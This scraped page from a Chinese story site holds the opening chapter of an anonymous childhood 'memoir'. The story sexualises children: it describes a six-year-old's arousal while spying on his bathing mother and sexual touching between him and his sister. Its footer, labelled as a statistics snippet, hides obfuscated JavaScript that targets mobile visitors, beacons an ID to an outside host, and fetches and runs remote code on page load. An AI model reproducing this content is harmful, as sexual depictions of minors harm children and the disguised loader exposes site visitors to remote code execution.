【往事回忆】【作者:不详】【更新至20】

来源:人气:249更新:2024-06-03 13:17:44

第一章

  我出生在70年代末。我的家在一个小镇上,就是南方农村那种很常见的地方:虽然住民有些密集,但还是比较落后的。

  我爸爸人很聪明,年青的时候出门在外走江湖,做石匠也做说书先生,力气很大,能一担子挑700多斤。早年的时候,还曾经做过民兵连长,劳模等等,常理来说,应该很有作为的。可惜在他年青的那个时代,社会动荡,生计很难。

  我爷爷是个出名的裁缝师傅,闹鬼子那些年逃难,挑了家俬出门不巧被鬼子抓去做了杂工,后来侥倖被一个尚有良知的鬼子放了出来。奈何家俬已光,我爷爷手又无缚鸡之力,百般弄生计不成,最后竟然在种粟米的时候活活饿死,撇下了当时才七岁的爸爸。

  我爸爸七岁就给财主家放羊,后来为了养个自己活命,我爸爸14岁上就远走他乡做工,直到40岁那年回家,还是光棍一个。

  我妈妈是一个苦命的女人,先嫁了一个男人,20岁上生了一个女儿,过两年又添一个男孩,夫妻恩爱,丈夫又能干有头脑,本来家庭是很幸福的。谁知道后来男人犯了遗传性精神病,发作起来了,过不得多久,因为吃镇静药物过量去了,撇下了妻子儿女。

  后来,经人撮合,她改嫁给了我爸爸,我爸爸比她大了整整12岁,婚后一年,我出生了。那时候我那同母异父的哥哥两岁,姐姐已经4岁。再过了两年,又生了我妹妹。

  那时候计划生育已经开始,我妹妹一生下来,管的人就来要罚款,但因为我家真的是一贫如洗,最后被缴了100块罚钱算是了结。

  我妈妈年轻时很漂亮,我现在都还记得大概在我2、3岁的时候,妈妈抱我出门,有些人就和我打趣,说我长的象爸爸不像妈妈。那时候我就哭了,牙牙的说:「我像妈妈,不要像爸爸,我好看的。」

  时间总是过的飞快,不多时我就挣脱了妈妈的怀抱,6岁那年我开始读幼稚园。从前的幼稚园不是现在这样只是托儿所类似,还是为了送孩子到里面学点东西,以便能顺利上小学。

  那时候,我姐姐和哥哥都已经上了小学,妹妹还小,不懂事,老是在床上赖着。我爸爸因为家里人口多,除了种田务农之外,还常常出门做零工。

  有一天下午,我从幼稚园里偷跑回家,想找点东西吃,进了屋发现妈妈不在家。我到里屋看看,妹妹在床上睡觉呢,我站到碗橱里看看没有什幺吃的东西,有点不高兴。

  正想着妈妈怎幺不在家,刚好听到灶台后面的小屋里好像有声音(我家那时候灶台后面有一间小屋子,有门,里面堆着柴草,有时候也在里面养猪。),我就从门缝里望里面看。

  我看见妈妈在里面光着身子坐在一个大木盆里在洗澡。我妈妈那时候才30来岁,照理说我一个6岁的小孩子本来也懂不了什幺,但那时候我看见了妈妈的身体后,竟然出现了和成人一样的冲动。

  当时我看着妈妈的雪白的奶子和下面黑黑的毛,我的下面不知道怎幺了就涨起来了,后来又一边偷看一边用手乱摸着自己的下面,记得当时摸摸又停下来,很想把门打开进去抱住妈妈,但内心又知道那不行,又不敢动,再看看,又摸。

  心跳的很厉害,使劲的憋着气。

  也是很巧,正当我内心挣扎的的很厉害的时候,大门外面有人叫道:「有人吗?」

  我吓了一跳,赶忙把自己的裤子拉上跑到大门边去看。来了一个邻居,看见我在,就问我:「你爸爸在家吗?」我摇摇头。

  又问我:「那你妈妈呢?」我说:「在里面洗澡呢。」

  那人就大声对里面说:「大龙嫂,我想借你家铁锹用一下,好不好?」

  我妈妈在里面听见了说:「你拿去就是了,就在门边上。」我忙去找来交给了邻居。

  过一会我妈妈洗好了出来,砸了我一个爆栗道:「你怎幺回家来了?干什幺的!」我不敢说什幺,又跑回幼稚园去了。

  从此以后我对妈妈的身体就着了迷,可以说是每天满脑子里都想着那天妈妈的身体。

  妈妈的奶子好大,下面又和我的不一样,又记得有时候晚上睡觉醒来,迷糊的时候好像看到爸爸压在妈妈身上喘气,虽然不怎幺明白是在做什幺,但似乎又有点懂了,心里的那种激动和欲望是一发不可收拾。

  以后我常常偷跑回家,想再有机会偷看妈妈洗澡,可惜都没再能看到了,有一次我回家,刚好妈妈已经快洗完了就要出来,还差点被发现。

  我家地方很小,里屋就有两张床,因为有四个孩子,所以随便怎幺睡床都不太够。我有时候和爸爸妈妈睡,他们一头,我一头。有的时候也和姐姐他们睡。

  四个人一张床,两头睡着,晚上我们四个兄弟姐妹经常用脚踢来踢去的,我和我哥哥踢的最凶,我姐姐和妹妹常常被我们踢哭了。后来我姐姐就叫我和她睡一头,这样踢起来的时候才不至于一边老是很吃亏。

  我姐姐对我很好,她很懂事,家里的衣服都是她抢着去洗。我贪玩,衣服老的弄的髒髒的,一回家脱下来就扔在床上,总是姐姐不声不响的拿去洗掉。

  我爸爸出去干活,有时候回家会给我们带点糖了什幺的吃食,我又贪吃,姐姐也总是等我吃完了自己的那份,又把她的给了我。要是我有什幺委屈什幺的,也是一定是姐姐第一个知道。

  一直以来,姐姐都是很疼我,什幺都照顾我,哥哥却很顽皮,不喜欢和在他看起来性格有点古怪的我做伴(我小时候比较文静,不怎幺出去玩。)。

  在学校里读完书放学了还要去爬树,打弹子什幺的。有时候玩的迟了就不回家,就在同学家睡,或者随便找一个地方就过一夜,开始我爸爸妈妈还常常去找他回来,但一次又一次这样,也没出过事,也就随他了。

  我妹妹那时候还小,不是哭就是闹,有时候吵起来大家都烦,我们都和她没什幺话能说的。

  不过我和姐姐在一起就有很多话讲,她常常给我说个好玩的事情,或者讲个故事啦,虽然大多都只是从她课本上找来的不怎幺样的故事。

  不过对于当时的我来说,已经听的很过瘾了,常常就因为这样,我晚上和姐姐睡的多些。

  可能是我成熟的早点吧,本来是要上幼稚园到8岁的,但我怎幺都觉得一起的小孩子都太幼稚是的,相处不好,又常常和老师闹意见。

  我7岁就不愿意再待在那里了,经过考试我7岁上了小学一年纪,和姐姐在同个学校上课。我那时候比较聪明,一上学成绩就很好,同学都喜欢和我玩,相处的很愉快,朋友多了,有些事情也就淡忘了些。

  都说童年是最美好的,我想也是,因为后来我穿梭在学校和家之间,早上去上课,晚上回家睡觉,时间过的真的很快。

  说来也真是的,虽然我和姐姐哥哥都在一个学校上课,但我们一直都初中毕业了都没有在学校见过面。

  我哥哥常常跷课,我不怎幺出教室,我姐姐也不怎幺出来,同校那幺多年,我都不知道他们在哪个班。

  在我9岁的时候吧,我姐姐上了初中,似乎开始懂了点什幺。我个子比同龄的小孩子要大一些,只是比姐姐矮一点吧。

  有时候晚上睡觉不知不觉我们两个人就会抱起来,感觉很舒服,姐姐有时候还会摸我的下麵,我也有摸她下麵玩。我们晚上讲话的时间少了,但我们的感情似乎就更好了些。


[ 此帖被瑾年丶琪在2016-02-14 19:10重新编辑 ]


 

热门搜索

友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};